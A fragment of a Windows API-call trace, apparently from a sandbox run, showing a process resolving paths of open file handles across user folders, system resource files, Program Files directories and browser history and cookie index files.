GetFileType (hFile=0xb8) returned 0x1 [0144.759] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x29df250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu") returned 0x4e [0144.760] CloseHandle (hObject=0xb8) returned 1 [0144.760] GetFileType (hFile=0x128) returned 0x1 [0144.760] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x29df250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x29 [0144.760] CloseHandle (hObject=0x128) returned 1 [0144.761] GetFileType (hFile=0xb8) returned 0x1 [0144.761] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x29df250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x29 [0144.761] CloseHandle (hObject=0xb8) returned 1 [0144.761] GetFileType (hFile=0x128) returned 0x1 [0144.761] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x29df250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\Public\\Desktop") returned 0x1b [0144.762] CloseHandle (hObject=0x128) returned 1 [0144.762] GetFileType (hFile=0xb8) returned 0x1 [0144.763] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x29df250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\Public\\Desktop") returned 0x1b [0144.763] CloseHandle (hObject=0xb8) returned 1 [0144.764] GetFileType (hFile=0x128) returned 0x1 [0144.764] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x29df250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Burn") returned 0x46 [0144.765] CloseHandle (hObject=0x128) returned 1 [0144.765] GetFileType (hFile=0xb8) returned 0x1 [0144.765] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x29df250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Burn") returned 0x46 [0144.766] CloseHandle (hObject=0xb8) returned 1 [0144.766] GetFileType (hFile=0x128) returned 0x1 [0144.766] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x29df250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\System32\\en-US\\wdmaud.drv.mui") returned 0x2c [0144.769] CloseHandle (hObject=0x128) returned 1 [0144.769] GetFileType (hFile=0xb8) returned 0x1 [0144.769] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x29df250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\System32\\en-US\\MMDevAPI.dll.mui") returned 0x2e [0144.772] CloseHandle (hObject=0xb8) returned 1 [0144.772] GetFileType (hFile=0x128) returned 0x1 [0144.772] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x29df250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\System32\\en-US\\bthprops.cpl.mui") returned 0x2e [0144.775] CloseHandle (hObject=0x128) returned 1 [0144.775] GetFileType (hFile=0xb8) returned 0x1 [0144.775] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x29df250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0144.776] CloseHandle (hObject=0xb8) returned 1 [0144.776] GetFileType (hFile=0x128) returned 0x1 [0144.776] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x29df250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0144.776] CloseHandle (hObject=0x128) returned 1 [0144.777] GetFileType (hFile=0xb8) returned 0x1 [0144.777] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x29df250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\System32\\en-US\\msutb.dll.mui") returned 0x2b [0144.779] CloseHandle (hObject=0xb8) returned 1 [0144.780] GetFileType (hFile=0x128) returned 0x1 [0144.780] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x29df250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\System32\\en-US\\msctf.dll.mui") returned 0x2b [0144.782] CloseHandle (hObject=0x128) returned 1 [0144.782] GetFileType (hFile=0xb8) returned 0x1 [0144.782] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x29df250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0144.783] CloseHandle (hObject=0xb8) returned 1 [0144.783] GetFileType (hFile=0x128) returned 0x0 [0144.783] CloseHandle (hObject=0x128) returned 1 [0144.783] GetFileType (hFile=0xb8) returned 0x1 [0144.783] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x29df250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0144.784] CloseHandle (hObject=0xb8) returned 1 [0144.784] GetFileType (hFile=0x128) returned 0x1 [0144.784] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x29df250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Printer Shortcuts") returned 0x55 [0144.785] CloseHandle (hObject=0x128) returned 1 [0144.785] GetFileType (hFile=0xb8) returned 0x1 [0144.785] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x29df250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Printer Shortcuts") returned 0x55 [0144.786] CloseHandle (hObject=0xb8) returned 1 [0144.787] GetFileType (hFile=0x128) returned 0x1 [0144.787] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x29df250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0144.787] CloseHandle (hObject=0x128) returned 1 [0144.787] GetFileType (hFile=0xb8) returned 0x1 [0144.788] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x29df250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\System32\\en-US\\netshell.dll.mui") returned 0x2e [0144.790] CloseHandle (hObject=0xb8) returned 1 [0144.790] GetFileType (hFile=0x128) returned 0x0 [0144.790] CloseHandle (hObject=0x128) returned 1 [0144.791] GetFileType (hFile=0xb8) returned 0x1 [0144.791] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x29df250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\System32\\en-US\\KernelBase.dll.mui") returned 0x30 [0144.791] CloseHandle (hObject=0xb8) returned 1 [0144.792] GetFileType (hFile=0x128) returned 0x1 [0144.792] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x29df250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0144.792] CloseHandle (hObject=0x128) returned 1 [0144.792] GetFileType (hFile=0xb8) returned 0x1 [0144.793] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x29df250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0144.793] CloseHandle (hObject=0xb8) returned 1 [0144.793] GetFileType (hFile=0x128) returned 0x1 [0144.793] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x29df250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0144.794] CloseHandle (hObject=0x128) returned 1 [0144.794] GetFileType (hFile=0xb8) returned 0x1 [0144.794] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x29df250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0144.795] CloseHandle (hObject=0xb8) returned 1 [0144.795] GetFileType (hFile=0x128) returned 0x1 [0144.795] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x29df250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0144.796] CloseHandle (hObject=0x128) returned 1 [0144.796] GetFileType (hFile=0xb8) returned 0x1 [0144.796] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x29df250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\FXSAPIDebugLogFile.txt") returned 0x4b [0144.797] CloseHandle (hObject=0xb8) returned 1 [0144.798] GetFileType (hFile=0x128) returned 0x1 [0144.798] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x29df250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0144.798] CloseHandle (hObject=0x128) returned 1 [0144.798] GetFileType (hFile=0xb8) returned 0x1 [0144.799] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x29df250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\index.dat") returned 0x70 [0144.800] CloseHandle (hObject=0xb8) returned 1 [0144.800] GetFileType (hFile=0x128) returned 0x1 [0144.800] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x29df250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\index.dat") returned 0x55 [0144.801] CloseHandle (hObject=0x128) returned 1 [0144.802] GetFileType (hFile=0xb8) returned 0x1 [0144.802] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x29df250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\index.dat") returned 0x5f [0144.804] CloseHandle (hObject=0xb8) returned 1 [0144.804] GetFileType (hFile=0x128) returned 0x1 [0144.804] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x29df250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\System32\\en-US\\ActionCenter.dll.mui") returned 0x32 [0144.807] CloseHandle (hObject=0x128) returned 1 [0144.807] GetFileType (hFile=0xb8) returned 0x0 [0144.807] CloseHandle (hObject=0xb8) returned 1 [0144.807] GetFileType (hFile=0x128) returned 0x1 [0144.807] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x29df250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\MSHist012020022120200222\\index.dat") returned 0x78 [0144.809] CloseHandle (hObject=0x128) returned 1 [0144.809] GetFileType (hFile=0xb8) returned 0x1 [0144.809] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x29df250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0144.810] CloseHandle (hObject=0xb8) returned 1 [0144.810] GetFileType (hFile=0x128) returned 0x1 [0144.810] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x29df250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0144.810] CloseHandle (hObject=0x128) returned 1 [0144.810] GetFileType (hFile=0xb8) returned 0x1 [0144.811] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x29df250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Windows Mail") returned 0x21 [0144.811] CloseHandle (hObject=0xb8) returned 1 [0144.811] GetFileType (hFile=0x128) returned 0x1 [0144.811] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x29df250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0144.812] CloseHandle (hObject=0x128) returned 1 [0144.812] GetFileType (hFile=0xb8) returned 0x1 [0144.812] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x29df250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Microsoft Office") returned 0x25 [0144.812] CloseHandle (hObject=0xb8) returned 1 [0144.813] GetFileType (hFile=0x128) returned 0x1 [0144.813] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x29df250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0144.813] CloseHandle (hObject=0x128) returned 1 [0144.813] GetFileType (hFile=0xb8) returned 0x1 [0144.813] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x29df250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Internet Explorer") returned 0x2c [0144.814] CloseHandle (hObject=0xb8) returned 1 [0144.814] GetFileType (hFile=0x128) returned 0x1 [0144.814] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x29df250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0144.814] CloseHandle (hObject=0x128) returned 1 [0144.815] GetFileType (hFile=0xb8) returned 0x1 [0144.815] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x29df250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\DVD Maker") returned 0x1e [0144.815] CloseHandle (hObject=0xb8) returned 1 [0144.815] GetFileType (hFile=0x128) returned 0x1 [0144.815] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x29df250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0144.816] CloseHandle (hObject=0x128) returned 1 [0144.816] GetFileType (hFile=0xb8) returned 0x1 [0144.816] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x29df250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Microsoft Analysis Services") returned 0x36 [0144.816] CloseHandle (hObject=0xb8) returned 1 [0144.817] GetFileType (hFile=0x128) returned 0x1 [0144.817] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x29df250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0144.817] CloseHandle (hObject=0x128) returned 1 [0144.817] GetFileType (hFile=0xb8) returned 0x1 [0144.817] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x29df250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Microsoft Analysis Services") returned 0x30 [0144.818] CloseHandle (hObject=0xb8) returned 1 [0144.818] GetFileType (hFile=0x128) returned 0x1 [0144.818] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x29df250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0144.819] CloseHandle (hObject=0x128) returned 1 [0144.819] GetFileType (hFile=0xb8) returned 0x1 [0144.819] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x29df250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Windows Portable Devices") returned 0x33 [0144.819] CloseHandle (hObject=0xb8) returned 1 [0144.819] GetFileType (hFile=0x128) returned 0x1 [0144.819] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x29df250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0144.820] CloseHandle (hObject=0x128) returned 1 [0144.820] GetFileType (hFile=0xb8) returned 0x1 [0144.820] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x29df250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Microsoft Analysis Services") returned 0x36 [0144.820] CloseHandle (hObject=0xb8) returned 1 [0144.821] GetFileType (hFile=0x128) returned 0x1 [0144.821] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x29df250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0144.821] CloseHandle (hObject=0x128) returned 1 [0144.821] GetFileType (hFile=0xb8) returned 0x1 [0144.821] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x29df250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Microsoft SQL Server Compact Edition") returned 0x39 [0144.822] CloseHandle (hObject=0xb8) returned 1 [0144.822] GetFileType (hFile=0x128) returned 0x1 [0144.822] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x29df250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0144.823] CloseHandle (hObject=0x128) returned 1 [0144.823] GetFileType (hFile=0xb8) returned 0x1 [0144.823] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x29df250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\MSBuild") returned 0x1c [0144.823] CloseHandle (hObject=0xb8) returned 1 [0144.823] GetFileType (hFile=0x128) returned 0x1 [0144.824] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x29df250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0144.824] CloseHandle (hObject=0x128) returned 1 [0144.824] GetFileType (hFile=0xb8) returned 0x1 [0144.824] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x29df250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Reference Assemblies") returned 0x29 [0144.825] CloseHandle (hObject=0xb8) returned 1 [0144.825] GetFileType (hFile=0x128) returned 0x1 [0144.825] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x29df250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0144.826] CloseHandle (hObject=0x128) returned 1 [0144.826] GetFileType (hFile=0xb8) returned 0x1 [0144.826] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x29df250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\DVD Maker") returned 0x1e [0144.826] CloseHandle (hObject=0xb8) returned 1 [0144.826] GetFileType (hFile=0x128) returned 0x1 [0144.826] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x29df250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0144.827] CloseHandle (hObject=0x128) returned 1 [0144.827] GetFileType (hFile=0xb8) returned 0x1 [0144.827] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x29df250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Windows Photo Viewer") returned 0x2f [0144.827] CloseHandle (hObject=0xb8) returned 1 [0144.828] GetFileType (hFile=0x128) returned 0x1 [0144.828] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x29df250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0144.828] CloseHandle (hObject=0x128) returned 1 [0144.828] GetFileType (hFile=0xb8) returned 0x1 [0144.828] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x29df250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Microsoft Office") returned 0x2b [0144.829] CloseHandle (hObject=0xb8) returned 1 [0144.829] GetFileType (hFile=0x128) returned 0x1 [0144.829] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x29df250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0144.829] CloseHandle (hObject=0x128) returned 1 [0144.830] GetFileType (hFile=0xb8) returned 0x1 [0144.830] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x29df250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\MSBuild") returned 0x1c [0144.830] CloseHandle (hObject=0xb8) returned 1 [0144.830] GetFileType (hFile=0x128) returned 0x1 [0144.830] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x29df250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0144.831] CloseHandle (hObject=0x128) returned 1 [0144.831] GetFileType (hFile=0xb8) returned 0x1 [0144.831] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x29df250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\DVD Maker") returned 0x1e [0144.832] CloseHandle (hObject=0xb8) returned 1 [0144.832] GetFileType (hFile=0x128) returned 0x1 [0144.832] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x29df250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0144.832] CloseHandle (hObject=0x128) returned 1 [0144.832] GetFileType (hFile=0xb8) returned 0x1 [0144.832] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x29df250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Microsoft.NET") returned 0x28 [0144.833] CloseHandle (hObject=0xb8) returned 1 [0144.833] GetFileType (hFile=0x128) returned 0x1 [0144.833] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x29df250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0144.834] CloseHandle (hObject=0x128) returned 1 [0144.834] GetFileType (hFile=0xb8) returned 0x1 [0144.834] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x29df250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Reference Assemblies") returned 0x29 [0144.834] CloseHandle (hObject=0xb8) returned 1 [0144.834] GetFileType (hFile=0x128) returned 0x1 [0144.834] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x29df250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0144.835] CloseHandle (hObject=0x128) returned 1 [0144.835] GetFileType (hFile=0xb8) returned 0x1 [0144.835] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x29df250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Adobe") returned 0x20 [0144.836] CloseHandle (hObject=0xb8) returned 1 [0144.836] GetFileType (hFile=0x128) returned 0x1 [0144.836] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x29df250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0144.837] CloseHandle (hObject=0x128) returned 1 [0144.837] GetFileType (hFile=0xb8) returned 0x1 [0144.837] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x29df250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Adobe") returned 0x20 [0144.837] CloseHandle (hObject=0xb8) returned 1 [0144.837] GetFileType (hFile=0x128) returned 0x1 [0144.837] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x29df250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0144.838] CloseHandle (hObject=0x128) returned 1 [0144.838] GetFileType (hFile=0xb8) returned 0x1 [0144.838] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x29df250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Adobe") returned 0x20 [0144.839] CloseHandle (hObject=0xb8) returned 1 [0144.839] GetFileType (hFile=0x128) returned 0x1 [0144.839] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x29df250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0144.839] CloseHandle (hObject=0x128) returned 1 [0144.840] GetFileType (hFile=0xb8) returned 0x1 [0144.840] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x29df250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Adobe") returned 0x20 [0144.840] CloseHandle (hObject=0xb8) returned 1 [0144.840] GetFileType (hFile=0x128) returned 0x1 [0144.840] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x29df250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0144.841] CloseHandle (hObject=0x128) returned 1 [0144.841] GetFileType (hFile=0xb8) returned 0x1 [0144.841] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x29df250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files\\Windows Portable Devices") returned 0x2d [0144.841] CloseHandle (hObject=0xb8) returned 1 [0144.842] GetFileType (hFile=0x128) returned 0x1 [0144.842] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x29df250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0144.842] CloseHandle (hObject=0x128) returned 1 [0144.842] GetFileType (hFile=0xb8) returned 0x1 [0144.842] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x29df250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Uninstall Information") returned 0x30 [0144.843] CloseHandle (hObject=0xb8) returned 1 [0144.843] GetFileType (hFile=0x128) returned 0x1 [0144.843] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x29df250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0144.844] CloseHandle (hObject=0x128) returned 1 [0144.844] GetFileType (hFile=0xb8) returned 0x1 [0144.844] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x29df250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Program Files (x86)\\Adobe") returned 0x20 [0144.844] CloseHandle (hObject=0xb8) returned 1 [0144.844] GetFileType (hFile=0x128) returned 0x1 [0144.844] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x29df250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows") returned 0xe [0144.845] CloseHandle (hObject=0x128) returned 1 [0144.845] GetFileType (hFile=0xb8) returned 0x1 [0144.845] 